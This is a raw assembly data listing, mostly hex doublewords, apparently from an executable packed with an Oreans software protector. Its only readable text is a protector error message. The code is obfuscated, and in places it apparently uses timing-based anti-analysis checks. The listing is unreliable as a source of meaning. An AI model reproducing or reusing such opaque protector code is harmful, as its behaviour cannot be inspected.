9600D42Ch, 66A527F0h, 0F5FD08Bh dd 0C781DAB7h, 69F1h, 5E8h, 82E2000h, 3CB8F0B5h, 5A572E31h dd 1A37B9h, 0BB666000h, 0FF610204h, 10E937h, 8D1B0000h dd 0F730B9B1h, 0EDC8FC75h, 82B2E55h, 0E85E6E88h, 14h, 0ECBFE44Bh dd 0B9B7D35Ch, 0FBD76A8Eh, 7CEA7C90h, 0F53B384h, 0BE9h dd 3391D300h, 6FE68618h, 6EF0E75Fh, 1DEE815Bh, 664E0D1Eh dd 81FA0BB8h, 0ADABDBEEh, 0EA816655h, 0C6816C81h, 12E85FB5h dd 56C2B70Fh, 9A0BB866h, 6E8078Fh, 80000000h, 0A5C844ACh dd 1840FDAh, 0F9000000h, 0C8EF815Bh, 0E969F80Bh, 0Dh, 0AEBF9649h dd 0E2844D1Ch, 8D3DAC67h, 0C4C78193h, 0B869F80Bh, 39EE1B26h dd 2D850F49h, 51000000h, 10E9h, 0B5526A00h, 0F054A652h dd 0A69ED355h, 0C3153BA8h, 28E95B74h, 0C4000000h, 18CCCF7Ah dd 0F5E252F9h, 215937CAh, 958C3345h, 0FFFF2AE9h, 2E850BFFh dd 0FE1B161Bh, 0CB8E0801h, 4BB99AAAh, 0E9A68D4Eh, 83h dd 56525153h, 245C8B57h, 3B81661Ch, 850F5A4Dh, 68h, 3C43B70Fh dd 8166D803h, 0F45503Bh, 5785h, 785B8B00h, 1C245C03h, 324738Bh dd 561C2474h, 8B207B8Bh, 7C031C73h, 74032024h, 83FC2024h dd 8B41FFC9h, 8B1C245Ch, 24540317h, 4C78320h, 0C084028Ah dd 33A0874h, 4243E875h, 33AF2EBh, 0D15FE075h, 4B70FE1h dd 86048B0Fh, 1C244403h, 595A5E5Fh, 8C25Bh, 0F1E9C033h dd 8BFFFFFFh, 0CE8CAh, 0A0570000h, 0BCC7DFF1h, 0B3DCADBh dd 5EF94545h, 0B1C681FCh, 0F000066h, 86h, 197DBA00h, 6E90000h dd 18000000h, 28F113A4h, 0E9068B0Ah, 8, 6EBB0C03h, 65DB6DC9h dd 0B6E4E881h, 0DD8037D1h, 7E88143h, 0E9542B62h, 0Ch, 0ACC4AED7h dd 9C688288h, 84496616h, 3AD4F081h, 14E95D0Fh, 0C8000000h dd 0DF23E896h, 0E11A6BD9h, 2980847Bh, 9278727Ah, 8973B932h dd 83E88A06h, 816602EEh, 4EC197EBh, 0CBBF0F4Eh, 13850F4Ah dd 0FC000000h, 2AE9h, 44F7C900h, 0CFAC235h, 940F560h, 820FDE75h dd 5, 1BCB8166h, 0FF77E9E2h, 9E88FFFFh, 22C15E4Dh, 0A6B6FA8Ch dd 0E91897F0h, 400h, 0 a3anInternalExc db '3An internal exception occured (Address: 0x%x)',0Ah db 0Dh,'Please, contact support@oreans.com. Thank you!',0 align 10h dd 0E4h dup(0) dd 56h, 45h, 0 dd 11CFE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 7069BEF8h, 8B6FF06Eh, 2B180985h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 4D5F5564h, 18ADE515h, 8D894EB0h, 62B2E95h dd 6820Fh, 0BD890000h, 62B05ADh, 4244439h, 80850Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0F5FAF7C3h, 19358589h, 0BD83062Bh, 62B0845h, 4F840F00h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 3FA2C355h, 5E9h, 642ABA00h, 858D93C2h dd 62B3C25h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 93C35545h, 0FFF5C9DFh, 858BF5E0h, 62B2F19h, 6880Fh dd 9D290000h, 62B0F05h, 4244439h, 6B850Fh, 840F0000h, 0Eh dd 0F9958960h, 0F062B1Bh, 8Bh, 95096100h, 62B2CD9h, 83C085C7h dd 1062Eh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0C402C3h, 0FF662426h, 1F418D89h dd 14E9062Bh, 0DD000000h, 9AC5744Ch, 5E68C42Ah, 880AA2B6h dd 15870D80h, 89EDF377h, 2B0631B5h, 6A6006h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 26C680C3h dd 10800F92h, 0E9000000h, 0Bh, 0BAC3F3EDh, 0FE1CD14Bh dd 0E98BEC9Ch, 2Dh, 2B219D31h, 6060062Bh, 11E8h, 0C998CA00h dd 5C01CAE7h, 638D0D56h, 29A1F30Bh, 8A5AEE89h, 8D2961EAh dd 62B0E99h, 61h, 1B800h, 85870000h, 62E859Dh, 0F675C00Bh dd 332DB5FFh, 858F062Bh, 62E83B8h, 0FF6A206Ah, 28C595FFh dd 0BD83062Bh, 62B1FF1h, 6A087400h, 4595FF00h, 83062B29h dd 2B26BDBDh, 0D740106h, 8068h, 0FFFF6A00h, 2B28C595h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 6AF5C6D1h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0F69C353h, 681h, 11858900h dd 0B8062B09h, 0 dd 11E9h, 8E73D800h, 7493BFCh, 0A640EC23h, 5BC517AAh, 548BD1ACh dd 0B5892824h, 62B1CB5h, 12458589h, 6A062Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0C58AB8C3h dd 359A7E50h, 0BEF9E6B8h, 3Ch, 0A198589h, 7403062Bh, 890F2424h dd 6, 6B5B589h, 0AD66062Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 91C35141h, 38368AFh, 89242444h, 2B0E7DB5h dd 52509006h, 61605250h, 880F310Fh, 0 dd 310F585Ah, 5033B760h, 5A310F52h, 585A6158h, 8E950h dd 1F7C0000h, 79998432h, 6A90DE70h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 84CAC350h dd 0F340971h, 68Dh, 61858900h, 8B062B30h, 60607840h, 2B0D8533h dd 8166062Bh, 61761CE3h, 14E9h, 0EAD59600h, 9E9E3B5Bh dd 13D4BD8Bh, 3DEA7F21h, 29E8ECEBh, 0BD836152h, 62E83C0h dd 16850F00h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 18DC357h, 0DE990F9h dd 76000000h, 41A9C64Dh, 20C8D92Ah, 0B0702BF6h, 88D0F50h dd 0F000000h, 28Eh, 90616000h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0B0C35646h, 0B237CD36h, 24448BF8h dd 0C19D292Ch, 90062B02h, 10E9h, 2DA2EB00h, 43F7DE2Dh dd 106324A9h, 0F1DBAE5h, 830F50E3h, 18h, 13E9h, 0FF7E2F00h dd 66FD73Eh, 0EA56D3EDh, 6B03805Eh, 0E456E5F4h, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 8FF5E9CBh, 0CE98978h, 5D000000h, 0D3FF49E3h, 3C68768h dd 60171111h, 16499D31h, 0B529062Bh, 62B2675h, 3F858D61h dd 29062E4Fh, 2B0EE595h, 6AD0FF06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 63ABC357h dd 39570609h, 0A5190ABDh, 244403F8h, 50006A28h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0F3E886E2h dd 0F18408Bh, 0E87h, 8D8B6000h, 62B2B5Dh, 1D518529h, 4061062Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DBC35141h dd 72B4DB16h, 0BC8589F9h, 89062E83h, 2B18C195h, 6A5806h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 6429B2C3h, 0DC8BEFFBh, 0BD093A72h, 62B2E3Dh, 6A78708Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0C63CC351h, 0C932823Ah, 340AF39h, 0D8D9D89h dd 0C683062Bh, 6830F1Ch, 89000000h, 2B3385B5h, 0F609606h dd 0EC8AF0BFh, 247C8161h, 24h, 0DB870F10h, 0F8000000h dd 1B840F50h, 60000000h, 12E96160h, 6C000000h, 0C413308h dd 29368411h, 0F534D500h, 4A9752ECh, 4896103h, 448BFC24h dd 6A2824h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0EC0518C3h, 1AEC7D42h, 11E9h, 5E910400h dd 90FF107Dh, 37CD36B0h, 7F319AB2h, 6050E87Ah, 28D0Fh dd 0AAB20000h, 830Fh, 89610000h, 8DF82404h, 2E4F3F85h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 68A0FDDh, 89000000h, 2B2BA995h, 6D952906h dd 0FF062B1Bh, 50006AD0h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0EED9B8CEh, 0F4673A6Dh dd 8BF48A60h, 2B35158Dh, 0F966106h, 0D83h, 8E900h, 0A8230000h dd 34C277AEh, 7403CB08h, 6A2424h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 8B60CBC3h, 2B0199BDh dd 0A5958906h, 61062B1Fh, 1BE1B529h, 0BD8D062Bh, 62B0039h dd 1840Fh, 0ADF90000h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 8BC35747h, 81F8AC14h, 24247Ch, 0F100000h dd 0E887h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0F8D8CB24h, 0BD31F60Ah, 62B3459h dd 0C8F0F50h, 0F000000h, 689h, 0F525000h, 89585A31h, 6A2404h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 31341DC3h, 2B0EC985h, 24448B06h, 11E928h, 58D50000h dd 0A090F23h, 879237ADh, 0FF9A6890h, 5034913Ah, 8C0F5250h dd 0Fh, 0AE9h, 809F8300h, 218B42FAh, 0F348B07h, 8A0F6031h dd 0 dd 8B0Fh, 5A610000h, 24048958h, 0A51BD89h, 858D062Bh, 62E4F3Fh dd 1B91BD89h, 0D0FF062Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0B2C35141h, 0C97F564Eh, 0E58589CCh, 89062B0Dh dd 2B0F99BDh, 24440306h, 5E924h, 4D8F0000h, 0ABC61745h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 78C35141h dd 7D18589h, 0BE9062Bh, 0AB000000h, 41FF4786h, 34F26920h dd 0FA81F478h, 10000h, 7BB820Fh, 8DF50000h, 2B06D5BDh dd 60ADF806h, 2D39BA66h, 16F18D29h, 0FC61062Bh, 24247C81h dd 10000000h, 0EF870Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0F17FDC3h, 18Fh, 0E990F800h dd 6, 0C6FF9689h, 0E950E2CBh, 8, 64D7BDF4h, 70C4F2D9h dd 448BF990h, 6A2824h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 9D1E36C3h, 0F52A359Ch, 8D953182h dd 50062B11h, 11E95250h, 93000000h, 64654D2Fh, 83694337h dd 0BD4BA613h, 340C6E14h, 0CE9310Fh, 0F5000000h, 939EF62Dh dd 0F883E061h, 5A82940Fh, 24048958h, 3F858DF9h, 6A062E4Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0DE6CC353h, 0E76A7EA0h, 0D0FF01D5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D5C35646h, 0A3D9A7FDh dd 5C7ADB0Ch, 244403E1h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 6B523873h, 44F8F265h dd 0F60F994h, 68Eh, 71950900h, 81062B27h, 0C60C34C1h, 0E950612Ch dd 10h, 0CB71D67Bh, 3C5372D7h, 0FC5B7574h, 0C45CEFF6h dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0AAA6C351h, 0AC5BC517h, 850F60D1h dd 3, 0E923DB80h, 14h, 0E33C70E7h, 0B1E2B69Eh, 8FD1DC80h dd 0C706F924h, 78B0F2ADh, 0B589AB61h, 62B154Dh, 0DCDBD8Dh dd 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 9543C3C3h, 0E2212C4Ch, 0E9AD1662h, 0Dh, 2E4639BEh dd 0F26C1F56h, 0D02500D9h, 247C8141h, 28h, 0C870F10h, 0F000001h dd 0E81h, 9E900h, 0BDD20000h, 3C3D1515h, 509A45BEh, 17890F60h dd 0E9000000h, 12h, 1DD01140h, 1B5172DDh, 0AD07E373h, 0D91CFA32h dd 13E919BAh, 85000000h, 0A10BF953h, 2B14E851h, 30176FEEh dd 0D69FE965h, 8961192Dh, 11E92404h, 3D000000h, 0CF5E938Dh dd 0BE071E60h, 67B9CEFEh, 0E697DECDh, 2C24448Bh, 0CE9h dd 86977E00h, 8BB7C58Bh, 22DF6604h, 5360504Ah, 0D32458BAh dd 52505A12h, 8D0Fh, 310F0000h, 7E8h, 7AEBC300h, 2358D5CCh dd 61585A5Ah, 0F240489h, 18Dh, 8501F800h, 62B269Dh, 4F3F858Dh dd 6A062Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0FE765BC3h, 92C7336h, 2B0701BDh, 65950906h dd 0FC062B1Eh, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0A3EE8C3h, 266915Ch, 919509D8h dd 3062B1Ch, 0F282444h, 68Ch, 89BD2900h, 0AB062B01h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 26C35141h, 0D0A6928h dd 8D894C79h, 62B2681h, 0BC8DFF5Eh, 83062E83h, 2E83BCBDh dd 0A750006h, 0B58DC033h, 62E9318h, 0AD56E6FFh, 28247C81h dd 10000000h, 8B500E77h, 502C2444h, 4F3F858Dh, 0D0FF062Eh dd 28244403h, 8ADF8B97h, 2E83B885h, 74C08406h, 75073A04h dd 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h, 33C033D1h dd 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h, 973D8D1h dd 50413566h, 49F38166h, 75CEFE54h, 33C833EBh, 0D5754FD3h dd 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah, 0C6835E0Fh dd 4585FF04h, 0E9062B12h, 0FFFFFF5Dh, 55006A5Eh, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0C7E413E9h, 4BED4EEBh, 0FC9BD01h, 6660062Bh, 81F145BFh dd 0A5905BD9h, 8BFC616Fh, 2B124585h, 0EE906h, 32520000h dd 55A05B79h, 0E79DF83h, 0CAF31EF4h, 9589E0D1h, 62B0FB1h dd 0DCD8503h, 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0EBDEF9C3h, 9298D29h, 0BE062Bh dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0E9B5C357h, 9, 0A12492Ch, 0DABD0998h dd 6A96C9h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 487BF5C3h, 68F0F93h, 1000000h, 2B333D8Dh dd 0B19D0906h, 66062B28h, 816660ADh, 0E82EC8CFh, 12h, 30BA06E2h dd 0B7FFCD0Eh, 0D8B94945h, 25BB99E6h, 61580CB9h, 0A9858960h dd 8A062B2Bh, 0E0C161ECh, 858B6002h, 62B2CB5h, 12059D23h dd 361062Bh, 2B003985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 2E79BF97h, 0AE9FC87h dd 0CD000000h, 0B809ED34h, 12C1AE4Ah, 4DBD0172h, 96062B2Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0F8C35040h dd 0F451B93h, 0A81h, 0B5896000h, 62B0FB9h, 0F861ACB6h dd 51006AADh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 6E35C8B4h, 611CE263h, 0B589A31Bh, 62B2B79h dd 24247C81h, 10000000h, 14F870Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 27C051C3h dd 94E74335h, 90C8EEFAh, 1E8E0Fh, 8A0F0000h, 18h, 13E9h dd 6DBC2100h, 0F4E52270h, 4879818Fh, 0F2D5EEB1h, 4DF79888h dd 60525050h, 0FE9F18Bh, 91000000h, 0C88B4B24h, 0E2C35B52h dd 1407A4BCh, 0F612B08h, 0FE931h, 0ACF80000h, 93EA5DDCh dd 17F1680Dh, 4C5F0ED2h, 90585AFEh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 1DC35242h, 89C3790Ah, 2B06419Dh dd 24448B06h, 8A0F6028h, 6, 2FF99D89h, 0B70F062Bh, 0FE961D3h dd 0CA000000h, 9C08CF76h, 0D4D420B6h, 3F731728h, 60905197h dd 0BF66C18Bh, 50616781h, 8B666060h, 8F0FF1h, 61000000h dd 38B85250h, 0F44DC4Dh, 5AEC8A31h, 89906158h, 2B2F59B5h dd 3F858D06h, 6A062E4Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0B737C353h, 15F640Dh dd 2B12418Dh, 6AD0FF06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0E9C5C356h, 9, 635E5F90h dd 80C02D2h, 24440353h, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0C2CF50DCh, 1EDB709Ch dd 9D892868h, 62B0681h, 1C244489h, 2D85C6F9h, 62B33h, 859D85C7h dd 62Eh, 85C70000h, 62E83C0h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 4EC35242h dd 4A3ABEABh, 0B58960A8h, 62B02A1h, 17890Fh, 12E90000h dd 0EF000000h, 9C30182Dh, 0A020025Eh, 0E8159E20h, 975DA3B8h dd 0BD29619Fh, 62B2049h, 10E961h, 70C20000h, 0AD47D481h dd 26468172h, 0F065D112h, 8C2A1DCh, 0B58B6000h, 62B028Dh dd 39858B61h, 0F062B00h, 68Fh, 0ED9D0900h, 4A062B2Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 4C35545h, 39386059h dd 6E9h, 579A5000h, 0FC1B635Dh, 6A04D26Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 4A0C352h dd 9D31F565h, 62B0555h, 6E9h, 70028E00h, 3483341h, 2996F9C2h dd 2B32ADBDh, 6E9AD06h, 0A000000h, 0E8A1D0C5h, 247C8184h dd 24h, 31870F10h, 1000001h, 2B1615B5h, 860F5006h, 19h dd 14E9h, 0FEF23B00h, 0D08AB59Ah, 2CAF95FCh, 0D68356FAh dd 7BFBE029h, 24048906h, 7E9h, 9DC34C00h, 36918C6Fh, 0DE9h dd 0DF3B7A00h, 92AEDDA1h, 0EE7599D8h, 448B7F51h, 6A2824h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0C08025C3h, 68E0F60h, 9000000h, 2B09CD9Dh, 61DA8B06h dd 0F5060FCh, 82h, 0B5895900h, 62B1769h, 52509061h, 0AE860h dd 1E030000h, 17B1C380h, 0C0A4A792h, 13E859h, 92440000h dd 4ECE8D66h, 0D28B659Ah, 0D2BDD19Ah, 0AAACFEACh, 0F615BD5h dd 0BA666031h, 5E57BD9Fh, 50585A61h, 0FE8B6660h, 0CCDC78BAh dd 0F90610Eh, 0E81h, 8D236000h, 62B2959h, 1B3D9523h, 8D61062Bh dd 2E4F3F85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0E99D0165h, 0FF062B05h, 57006AD0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 28A058FCh, 2E7163D3h, 0FFFD78E9h, 55006AFFh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 8C565DB0h dd 9531FFCEh, 62B2A15h, 993A858Dh, 6A062Eh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0DB1F5BC3h dd 0EF2E510Fh, 12E860h, 66A40000h, 0C499597Fh, 93AEEC11h dd 959FFE71h, 61D2D080h, 2715B58Bh, 0E959062Bh, 12h, 4F974D01h dd 0B01D15F5h, 313FFD1Dh, 2BC6DFEAh, 90613320h, 0E807B160h dd 8, 0C0DD0B15h, 0D40E9933h, 6791BF66h, 6050615Fh, 0B2A334BEh dd 0C18B6659h, 89609061h, 2B0FD985h, 1AB86606h, 0B58961E1h dd 62B1935h, 35FF64h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 32D2C356h, 0C870Fh dd 7E90000h, 6B000000h, 0AFE01D05h, 48B9981h, 9BD3124h dd 89062B12h, 2B1AA985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 8923E971h, 2B2BD595h dd 25896406h, 0 dd 0FE9h, 37C2E000h, 0D1365C61h, 14A78241h, 0E7C3CE68h dd 974F858Dh, 12E9062Eh, 0D2000000h, 619ADCCh, 690B21E7h dd 0E2DA4C7Bh, 0A05237EDh, 858960A2h, 62B056Dh, 1DB1858Bh dd 8961062Bh, 6A0160h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0AAE3E8C3h, 265E9F8h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 2A806FC3h, 434BDC92h, 6078F75Dh, 6840Fh, 0BD290000h dd 62B2D29h, 68E0Fh, 8D890000h, 62B0C49h, 0E8DB8B61h, 0 dd 48ED815Dh, 0BC062E97h, 12FF9Ch, 26BDBD83h, 7400062Bh dd 39858B18h, 0C6062B2Bh, 858B0000h, 62B1201h, 0FF0000C6h dd 2B0EA195h, 0B5FF6006h, 62E7FC4h, 7FC8858Dh, 8D50062Eh dd 2E81C085h, 95FF5006h, 62B2C39h, 610CC483h, 13E860h dd 0F1930000h, 604F5CA8h, 0E7A2D59Eh, 3D129A1Dh, 31A9D603h dd 5F59572Ch, 61C78B66h, 6880Fh, 85890000h, 62B2599h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DCC35747h, 0F5610DEh dd 0D84h, 8E900h, 98370000h, 35E67CACh, 0B58DA1BCh, 62E81C0h dd 0D4DE8060h, 0A9DB4CB8h, 0BD8D611Fh, 62B2201h, 0FEB70F60h dd 806114B4h, 840F003Eh, 88h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 81C35141h, 27F27AA9h, 0D494C997h dd 10E968h, 5B1F0000h, 122C875Eh, 731E74CFh, 70186DF4h dd 6AA42527h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 21F5C357h, 0BD89CEC9h, 62B2D49h dd 0FFFF92E9h, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0E59D8947h, 0F5062B1Fh dd 890FC02Bh, 0Eh, 2CDA8160h, 895AEE4Fh, 2B1EEDBDh, 6AAA6106h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0E424C353h, 0D0B112C6h, 11BD897Dh, 89062B0Bh dd 2B28CD8Dh, 7B806h, 5E90000h, 23000000h, 0DF596D07h dd 0E5BD8B60h, 29062B32h, 2B1AADBDh, 85C76106h, 62B08B5h dd 1, 0A18D8DF5h, 6A062B4Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0A2CAC353h, 0E1FFF556h dd 1AB59D01h, 5C8B062Bh, 0E8550C24h, 0 dd 44ED815Dh, 8B062E99h, 0B883h, 0C4858900h, 8D062E7Fh dd 2E974185h, 0B8838906h, 5D000000h, 0E9C3C033h, 10h, 0D31ED412h dd 5425BC19h, 0DD3C8A49h, 4CE0845Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0A0C35545h, 257CC1F0h, 55006A60h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 9E9E1h, 7BD80000h, 24AC600Dh, 8DA60044h, 2E9BD085h dd 0BE906h, 0F0F90000h, 52AE580h, 0B34B6CE6h, 810F6088h dd 6, 830Fh, 0DE8B0000h, 52505061h, 7E9h, 849C1600h, 73854E53h dd 5250310Fh, 0AE9h, 9BC21C00h, 41C9AA38h, 0FEA8D4Ah, 8E0F31h dd 5A000000h, 89585A58h, 6A2404h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 64FCD8C3h, 35FFh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0B72DDCC3h, 785AEBE3h, 719D29F5h, 89062B34h, 2B26498Dh dd 25896406h, 0 dd 13E9h, 64BE4D00h, 71145E16h, 68B84739h, 0D0A33DF2h dd 0B5A850FFh, 9C86858Dh, 6A062Eh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 76BD4DC3h, 9153BDD8h dd 8927EEB3h, 2B1C69BDh, 1608906h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 84C35747h, 0E60CE044h, 0FC423245h dd 1850Fh, 0C6F50000h, 2B332D85h, 6A4F06h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 8C5E3EC3h dd 3C68BD56h, 0E98C50CAh, 8, 0EC6EB4E7h, 0FBA50BDDh, 0EE240481h dd 6A7277A9h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0F2EC351h, 0D85h, 8E900h, 35E00000h dd 83FE8D16h, 0B5FFB9FEh, 62B1BDDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0CDC35343h, 0C28BF5h, 6890Fh dd 0B5090000h, 62B01FDh, 5E9h, 80864A00h, 858DE69Bh, 62E83EBh dd 2B7D8529h, 0D0FF062Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0D3C35343h, 901BA061h, 0B7E9975Ch, 0F8000000h dd 0C245C8Bh, 0E855h, 815D0000h, 2E9BDAEDh, 1D858B06h dd 89062B0Bh, 2B1BDD85h, 19858B06h, 89062B2Fh, 2B018185h dd 9858B06h, 89062B18h, 2B0A5D85h, 2D85C606h, 62B33h, 859D85C7h dd 62Eh, 858D0000h, 62E9C86h, 0B88389h, 335D0000h, 8B0FC3C0h dd 1Eh, 18850Fh, 13E90000h, 49000000h, 7828DFACh, 9019AF08h dd 0FB08C4CAh, 3BCBE583h, 6A312Eh, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 3B040EC3h, 17820F71h dd 0E9000000h, 12h, 7B6D69C5h, 0EA774680h, 0E6271B65h dd 80124FBEh, 74BC5CB7h, 0F50012FFh, 7840Fh, 8B0F0000h dd 1, 58F64FCh, 0 dd 2A958589h, 83F5062Bh, 6A04C4h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0E73112C3h, 0ECFDB8E2h dd 4934EB61h, 474D5346h, 56202052h, 2020444Bh, 56202020h dd 20204D4Dh, 56202020h, 334E4957h, 56202032h, 444C4458h dd 202052h, 2 dup(0) dd 0E9000000h, 78Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0D4C35646h, 7D98DE54h, 0C8C0Fh, 8F0F0000h dd 6, 830Fh, 6A600000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0B45C350h, 85C73C2Dh dd 62E9CF7h, 0 dd 0F52F860h, 89h, 8B615A00h, 1830FC6h, 0F8000000h, 0FD8B70Fh dd 0F86h, 0AE900h, 58850000h, 204E7B3h, 70CBFC3Eh, 6A10E8C1h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0EA27C356h, 58506060h, 61D3B70Fh, 0BE9h dd 80E1D100h, 0A5C844ACh, 0FA52A1DAh, 0DE961h, 8110000h dd 0C6C02A3Eh, 3A0F966h, 66FA384Bh, 6008C8C1h, 66F3BF0Fh dd 61A496BAh, 9CFB8589h, 6A062Eh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 606019C3h, 80DFBF0Fh dd 0F61E5F7h, 682h, 5CD98100h, 6169D616h, 56EF8A60h, 0C166615Ah dd 6A08CBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 2F2E91C3h, 83F8CDFEh, 850F40FBh, 47h, 0D800Fh dd 0F600000h, 84h, 0BCC3B900h, 8D6123EEh, 2E9CCFBDh, 148D0F06h dd 0E9000000h, 0Fh, 0BD32EE44h, 0ADCFC135h, 0EB309D2Ah dd 0F1D7251h, 886h, 28C0F00h, 60000000h, 